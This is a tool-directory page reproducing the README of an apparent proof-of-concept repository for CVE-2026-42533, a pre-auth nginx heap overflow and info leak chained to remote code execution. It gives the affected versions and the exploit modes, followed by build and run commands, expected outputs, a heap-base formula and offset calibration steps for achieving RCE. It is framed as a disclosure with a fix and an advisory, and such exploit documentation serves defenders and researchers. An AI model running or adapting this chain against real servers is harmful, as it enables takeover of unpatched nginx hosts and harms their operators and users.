Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-42533-POC — CVE-2026-42533: pre-auth nginx heap overflow and info leak from PCRE capture clobbering in the map/script engine, chained to RCE. | Kitploit
Tools/GitHubGitHub/0xcyberstan/cve-2026-42533-poc
Vulnerability AnalysisExploitationWeb SecurityPenetration TestingRed TeamingBinary Exploitation
GitHub0xcyberstan/cve-2026-42533-poc

CVE-2026-42533-POC

CVE-2026-42533: pre-auth nginx heap overflow and info leak from PCRE capture clobbering in the map/script engine, chained to RCE.

View Repository
181 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-42533

Pre-auth heap buffer overflow and heap information leak in nginx, caused by missing save/restore of PCRE capture state across the two passes of the script engine. A regex map variable evaluated between two capture references overwrites r->captures, so the LEN pass and the VALUE pass disagree on how large a capture is. The buffer is sized for one capture and filled with another. Larger clobber gives a heap overflow with attacker-controlled content and length. Smaller clobber gives an oversized buffer whose uninitialised tail is returned to the client, leaking libc and heap pointers.

The two primitives chain into reliable pre-auth remote code execution. The leak defeats ASLR in a single GET, so the overflow does not need ASLR disabled.

Writeup: https://cyberstan.co.uk/nginx-rce/ Advisory: F5 K000162097 Reporter: Stan Shaw (cyberstan)

Affected

nginx 0.9.6 through 1.30.3 (stable) and 1.31.2 (mainline), reachable since the map directive gained regex support in 2011. Both the http and stream modules. About 50 directives across 13 call sites, plus a second path through named captures (r->variables[]). Fixed in 1.30.4 and 1.31.3.

Layout

CVE-2026-42533-PoC/
├── exploits/                 exploit and validator scripts
│   ├── poc.py                numbered-capture proxy_method chain (crash/leak/rce/rce-det)
│   ├── calibrate.py          find PL_OFF / HEAP_PAGE_OFF for --rce-det on your build
│   ├── leak_multi.py         info leak on the return and set sinks
│   ├── test_all_sites.py     ASan validator, all 13 overflow sites
│   └── named_capture_poc.py  named-capture r->variables[] variant
├── configs/                  nginx configs the exploits run against
│   ├── nginx_poc.conf        crash / leak / rce
│   └── nginx_det.conf        deterministic rce-det
├── docs/
│   └── EXPLOITATION.md       full exploitation writeup
└── README.md

Run every command below from the repository root, so exploits/, configs/, and the ../nginx-1.30.1 build tree all resolve.

Contents

exploits/poc.py is the main exploit (numbered capture, proxy_method sink). Its modes:

ModePurpose
poc.py --crashFire the heap overflow; on an ASan build it prints the write size and stack at ngx_http_script_copy_capture_code.
poc.py --leakInfo leak: dump the libc and heap pointers out of the oversized response body.
poc.py --rceFull pre-auth RCE. General single shot (configs/nginx_poc.conf), ~66% per try, rerun on a miss.
poc.py --rce-detFull pre-auth RCE, deterministic against the controlled configs/nginx_det.conf.

Standalone scripts covering the rest of the bug's surface:

ScriptPurpose
exploits/leak_multi.pyInfo leak through two more evaluators (return, set), each libc+heap pointer confirmed against /proc/<pid>/maps. Stock config.
exploits/test_all_sites.pyAddressSanitizer validator that fires all 13 overflow call sites (http + stream).
exploits/named_capture_poc.pyThe named-capture (?P<name>...) variant through r->variables[] / copy_var_code, a second root cause.

Configs live in configs/: nginx_poc.conf (crash/leak/rce), nginx_det.conf (rce-det). The full writeup is docs/EXPLOITATION.md.

Requirements

Linux, gcc, python3, and the nginx 1.30.1 source. Developed and tested on Ubuntu 24.04.4, glibc 2.39, PCRE2 10.42, python 3.12, full ASLR.

Build

Two builds. A clean build for the leak and the RCE, so the heap residue is real. An AddressSanitizer build for the crash and the site validators, so the overflow is reported with an exact write size and stack.

tar xf nginx-1.30.1.tar.gz
cd nginx-1.30.1

# clean build -> objs.dbg/nginx  (leak, rce)
./configure --with-pcre --with-http_ssl_module --with-debug --builddir=objs.dbg
make -j"$(nproc)"

# ASan build with all the modules the site validator needs -> objs/nginx
./configure --with-pcre --with-http_ssl_module --with-http_v2_module \
    --with-stream --with-stream_ssl_preread_module --with-stream_ssl_module \
    --with-debug \
    --with-cc-opt='-g -O0 -fsanitize=address -fno-omit-frame-pointer' \
    --with-ld-opt=-fsanitize=address --builddir=objs
make -j"$(nproc)"

Run

exploits/poc.py talks to a running nginx on 127.0.0.1:8950. Start it in one terminal with configs/nginx_poc.conf, then run the mode you want in another. The other three scripts start and stop their own nginx, so they only need NGINX_BIN.

Overflow, with an ASan trace

mkdir -p run/logs
../nginx-1.30.1/objs/nginx -p run -c "$PWD/configs/nginx_poc.conf"    # ASan build, foreground
python3 exploits/poc.py --crash

Expected: a heap-buffer-overflow, WRITE of size 200 in ngx_http_script_copy_capture_code at ngx_http_script.c:1404, called from ngx_http_complex_value in ngx_http_proxy_create_request.

Info leak

../nginx-1.30.1/objs.dbg/nginx -p run -c "$PWD/configs/nginx_poc.conf"    # clean build
python3 exploits/poc.py --leak

Expected: an 8161 byte body with 2 bytes written and the rest heap residue. A libc pointer at offset 0x08 and a heap pointer at 0x10.

Full chain

../nginx-1.30.1/objs.dbg/nginx -p run -c "$PWD/configs/nginx_poc.conf"    # clean build
python3 exploits/poc.py --rce            # writes /tmp/PWNED via system()

Expected: a leak, about 40 spray connections, an overflow trigger, then /tmp/PWNED containing the output of id. This is a single shot and lands about two thirds of the time on the dev build; on a miss the worker crashes and you run it again. See the "Reliability" section of docs/EXPLOITATION.md.

Deterministic full chain

Against a controlled config the same bug is a deterministic single shot. It recovers the absolute heap base from the leak in one line (heap_base = (leaked_ptr & ~0xfff) - 0x22000), parks a single forged pool cleanup in a held connection at a known address, and points the victim pool's cleanup at it instead of the transient trigger body, which nginx frees before teardown.

mkdir -p run/logs
../nginx-1.30.1/objs.dbg/nginx -p run -c "$PWD/configs/nginx_det.conf"   # controlled config
python3 exploits/poc.py --rce-det

nginx_det.conf is a lab config (single worker, fixed buffers) whose heap layout is reproducible, which is what makes the offsets in poc.py (PL_OFF, HEAP_PAGE_OFF) hold. PL_OFF is the offset from the heap base at which the held POST /b/ cleanup body lands; it depends on the exact allocation sequence, so it shifts across builds, glibc versions, and configs. If --rce-det reports Recalibrate, read the correct values off a live worker with calibrate.py:

NGINX_BIN=../nginx-1.30.1/objs.dbg/nginx python3 exploits/calibrate.py
# prints e.g.  set PL_OFF = 0x14426  ,  then edit it in exploits/poc.py

The only other non-win is an ASLR draw that puts a 0x0a inside the cleanup address or the overflow body, which the map regex cannot carry; the tool reports it and you rerun. A stock deployment is not that predictable, so use --rce there. See "A deterministic build" in docs/EXPLOITATION.md.

All 13 overflow sites

NGINX_BIN=../nginx-1.30.1/objs/nginx python3 exploits/test_all_sites.py       # ASan build
NGINX_BIN=../nginx-1.30.1/objs/nginx python3 exploits/test_all_sites.py 1 7 12   # a subset

Named capture variant

NGINX_BIN=../nginx-1.30.1/objs/nginx python3 exploits/named_capture_poc.py    # ASan build

Leak on two more sinks, stock config

NGINX_BIN=../nginx-1.30.1/objs.dbg/nginx python3 exploits/leak_multi.py       # clean build

Expected: return and set each leak a libc and a heap pointer, both confirmed against the worker's /proc/<pid>/maps.

Troubleshooting

Two things trip people up most: using the wrong build (ASan vs clean), and the --rce-det offsets not matching your setup. Both are covered below.

Download Tool